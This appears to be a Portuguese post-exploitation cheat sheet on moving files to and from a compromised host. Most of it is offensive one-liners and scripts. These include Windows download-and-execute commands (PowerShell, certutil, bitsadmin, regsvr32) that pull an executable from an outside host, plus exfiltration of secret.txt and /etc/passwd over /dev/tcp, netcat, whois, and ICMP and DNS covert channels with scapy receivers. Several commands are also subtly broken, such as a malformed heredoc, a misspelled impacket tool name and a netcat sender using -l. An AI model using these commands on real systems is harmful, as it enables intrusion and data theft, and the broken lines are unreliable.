Técnicas para transferir arquivos na fase pós exploração



Criar um servidor HTTP
Os comandos abaixo iniciam um serviço HTTP no diretório atual, na porta 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e’WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start’

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>1337); $s->mount(“/”=>{path=>”.”}); $s->start’
perl -MIO::All -e ‘io(“:8080”)->fork->accept->(sub { $_[0] < io(-x $1 +? “./$1 |” : $1) if /^GET \/(.*) / })’

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Baixar e executar os arquivos a partir do servidor HTTP

Abaixo estão algumas maneiras de baixar e executar arquivos de um servidor HTTP usando as próprias ferramentas do sistema nos sistemas Windows e Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile(‘http://1.2.3.4/5.exe’,’c:\download\a.exe’);start-process ‘c:\download\a.exe’

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

Os seguintes comandos farão download apenas do arquivo indicado:

regsvr32:
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

LINUX

Curl:
curl http://1.2.3.4/backdoor

Wget:
wget http://1.2.3.4/backdoor

awk:

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

Use um servidor HTTP com o método PUT

Com nginx:

mkdir -p /var/www/upload/ # cria diretorio
chown www-data:www-data /var/www/upload/ # trocar permissões
cd /etc/nginx/sites-available # entrar no diretorio virtual do nginx

# escreve a configuração no arquivo file_upload
cat < file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# gravação concluida
cd ../sites-enable # ir até o diretorio inicial
ln -s /etc/nginx/sites-available/file_upload file_upload # ativar file_upload
systemctl start nginx # iniciar Nginx 

Com Python:

Por ej. HTTPutServer.py:

# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)


def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

Modo de funcionamento:

$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

Enviar arquivos por HTTP PUT Linux com Curl:

$ curl --upload-file secret.txt http://ip:port/

Com Wget:

$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows Powershell:

$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

Transferencia de arquivos usando Bash /dev/tcp 

Primeiro precisamos subir uma porta no equipamento onde irá receber o arquivo:

nc -lvnp 1337 > secret.txt

No dispositivo de envio:

cat secret.txt > /dev/tcp/ip/port

Transferencia de arquivos usando o protocolo SMB 

Criar um servidor SMB simples. Para configurar o servidor SMB necessitaremos usar o Impacket: https://github.com/SecureAuthCorp/impacket.

Impacket está instalado por padrão no Kali Linux (smbserver.py).

Sintaxe: impacker-smbserver ShareName SharePath
Exemplo: impacker-smbserver share `pwd`

Baixar arquivos a partir do servidor SMB:

copy \\IP\ShareName\file.exe file.exe

Copiar arquivos para o servidor SMB:

net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete

Transferencia de arquivos usando o comando whois: 

Receptor Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d

Envío a partir do Host A:

whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

Transferencia de arquivos usando o comando ping: 

Receptor Host B:
Baixar o arquivo ping_receiver.py

import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

E executar:

python3 ping_receiver.py

Envío desde host A:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

Transferencia de arquivos usando o comando dig: 

Receptor Host B:

O código a seguir utiliza os módulos scapy do Python, é necessário instala-lo manualmente.

Você precisa salvar o código em dns_receiver.py:

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)

E executa-lo:

python3 dns_receiver.py

Transferencia de arquivos usando netcat: 

Receptor:

nc -l -p 1337 > 1.txt

Enviador:

cat 1.txt | nc -l -p 1337

ou

nc 10.10.10.200 1337 < 1.txt

Em alguns casos você não pode usar o nc, podemos usar o Bash /dev/tcp para receber o arquivo:

cat < /dev/tcp/10.10.10.200/1337 > 1.txt

Fonte: https://www.hackplayers.com/2019/09/transferir-archivos-post-explotacion.html?m=1